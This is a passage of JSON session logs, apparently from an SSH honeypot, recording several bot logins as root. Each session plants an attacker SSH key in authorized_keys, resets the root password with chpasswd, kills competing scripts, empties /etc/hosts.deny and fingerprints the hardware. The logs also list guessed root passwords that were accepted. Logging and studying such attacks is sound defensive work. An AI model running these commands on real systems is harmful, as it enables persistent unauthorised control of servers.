AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T11:37:29.094893+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T11:37:29.095616+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T11:37:30.039638+00:00","kind":"input","latency_ms":null,"data":"echo \"root:V2a322mAoLeb\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T11:37:31.028674+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T11:37:32.015267+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T11:37:32.015924+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T11:37:33.005281+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T11:37:33.576305+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T11:37:34.167651+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T11:37:34.680077+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T11:37:35.272694+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T11:37:35.273212+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T11:37:35.861785+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T11:37:35.862249+00:00","kind":"output","latency_ms":null,"data":" 11:37:35 up 6 days, 8:27, 0 user, load average: 0.1, 0.12, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T11:37:36.853157+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T11:37:36.853683+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T11:37:37.443035+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T11:37:37.443721+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T11:37:38.393150+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T11:37:38.393891+00:00","kind":"output","latency_ms":null,"data":"top - 11:37:38 up 6 days, 8:27, 0 user, load average: 0.1, 0.12, 0.06\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T11:37:38.981487+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T11:37:38.982231+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T11:37:39.973812+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T11:37:39.974398+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T11:37:40.925584+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T11:37:40.935817+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T11:37:41.519415+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T11:37:42.138710+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T11:37:43.081684+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T11:37:43.665470+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"!qAz@wSx#eDc","method":"password","accepted":true,"tier":"other"}]} {"id":"ea3cf1e8-49bb-47b6-9a86-22b48b7b6619","name":"opal-primal-thrush","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":42904,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":870,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T11:34:56.688747+00:00","ended_at":"2026-08-26T11:34:58.126427+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2117,"events":[{"seq":1,"at":"2026-08-26T11:34:31.021739+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T11:34:31.893320+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T11:34:38.287863+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T11:34:38.288442+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T11:34:39.190265+00:00","kind":"input","latency_ms":null,"data":"echo \"root:uuwFDgQfCWLV\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T11:34:39.733694+00:00","kind":"output","latency_ms":null,"data":""},{"seq":7,"at":"2026-08-26T11:34:40.090541+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-26T11:34:40.989621+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-26T11:34:40.990290+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T11:34:41.888095+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T11:34:42.407102+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T11:34:43.292045+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T11:34:43.874916+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T11:34:44.725934+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T11:34:44.726520+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T11:34:45.591597+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T11:34:45.871552+00:00","kind":"output","latency_ms":null,"data":" 11:34:45 up 6 days, 8:24, 0 user, load average: 0.03, 0.02, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T11:34:46.723271+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T11:34:47.090385+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T11:34:47.996349+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T11:34:48.588051+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T11:34:49.458174+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T11:34:50.301020+00:00","kind":"output","latency_ms":null,"data":"top - 11:34:50 up 6 days, 8:24, 0 user, load average: 0.03, 0.02, 0.02\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T11:34:51.192527+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T11:34:51.464320+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T11:34:52.317034+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T11:34:52.665706+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T11:34:53.525647+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T11:34:54.152737+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T11:34:55.012152+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T11:34:55.782546+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T11:34:56.691223+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T11:34:57.853439+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"201314","method":"password","accepted":true,"tier":"other"}]} {"id":"34f80c5d-ecc3-4c4c-8732-2facfc5f8ece","name":"gnarled-airy-hummingbird","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":42708,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":844,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T11:32:10.883641+00:00","ended_at":"2026-08-26T11:32:11.680381+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2106,"events":[{"seq":1,"at":"2026-08-26T11:31:48.055804+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T11:31:48.904116+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T11:31:56.089064+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T11:31:56.089426+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T11:31:56.986456+00:00","kind":"input","latency_ms":null,"data":"echo \"root:N9yol2doDCqh\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T11:31:57.885649+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T11:31:58.756607+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T11:31:58.757063+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T11:31:59.609544+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T11:32:00.303642+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T11:32:01.185889+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T11:32:01.743235+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T11:32:02.594720+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T11:32:02.595287+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T11:32:03.485666+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T11:32:03.486437+00:00","kind":"output","latency_ms":null,"data":" 11:32:03 up 6 days, 8:22, 0 user, load average: 0.06, 0.08, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T11:32:04.326494+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T11:32:04.327008+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T11:32:05.168594+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T11:32:05.169077+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T11:32:06.009556+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T11:32:06.010103+00:00","kind":"output","latency_ms":null,"data":"top - 11:32:06 up 6 days, 8:22, 0 user, load average: 0.06, 0.08, 0.05\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T11:32:06.851411+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T11:32:06.852669+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T11:32:07.693226+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T11:32:07.694125+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T11:32:08.537925+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T11:32:08.538489+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T11:32:09.379585+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T11:32:09.991515+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T11:32:10.884912+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T11:32:11.409374+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"QWEasd123!@#","method":"password","accepted":true,"tier":"other"}]} {"id":"015fe738-86d0-4600-8fc1-ce1862f46dff","name":"sullen-rugged-raven","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":46886,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":585,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T11:07:25.095860+00:00","ended_at":"2026-08-26T11:07:25.894192+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2291,"events":[{"seq":1,"at":"2026-08-26T11:06:59.238558+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T11:06:59.826030+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T11:07:13.316803+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T11:07:13.317411+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T11:07:13.903067+00:00","kind":"input","latency_ms":null,"data":"echo \"root:IdhKF6BIa3ES\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T11:07:14.486530+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T11:07:15.468098+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T11:07:15.468725+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T11:07:16.451126+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T11:07:16.923379+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T11:07:17.511399+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T11:07:18.223440+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T11:07:18.812275+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T11:07:18.812776+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T11:07:19.397881+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T11:07:19.398731+00:00","kind":"output","latency_ms":null,"data":" 11:07:19 up 6 days, 7:57, 0 user, load average: 0.17, 0.19, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T11:07:19.985032+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T11:07:19.985886+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T11:07:20.980660+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T11:07:20.983618+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T11:07:21.557026+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T11:07:21.558025+00:00","kind":"output","latency_ms":null,"data":"top - 11:07:21 up 6 days, 7:57, 0 user, load average: 0.17, 0.19, 0.2\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T11:07:22.144011+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T11:07:22.144869+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T11:07:22.728278+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T11:07:22.728790+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T11:07:23.315095+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T11:07:23.315816+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T11:07:23.903629+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T11:07:24.512223+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T11:07:25.096660+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T11:07:25.709100+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Adm1n","method":"password","accepted":true,"tier":"other"}]} {"id":"79db8206-616c-4adf-b4c2-57332374ccf1","name":"pristine-freckled-pangolin","protocol":"ssh","channel_kind":"exec","src_ip":"165.154.12.137","src_port":33232,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":604,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T11:02:52.624467+00:00","ended_at":"2026-08-26T11:02:53.299019+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2280,"events":[{"seq":1,"at":"2026-08-26T11:02:34.705727+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T11:02:35.308566+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T11:02:41.408429+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T11:02:41.408770+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T11:02:42.012513+00:00","kind":"input","latency_ms":null,"data":"echo \"root:HfygvfGeWXod\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T11:02:42.614408+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T11:02:43.217032+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T11:02:43.217516+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T11:02:43.823085+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T11:02:44.641284+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T11:02:45.249515+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T11:02:46.032751+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T11:02:46.639169+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T11:02:46.639944+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab 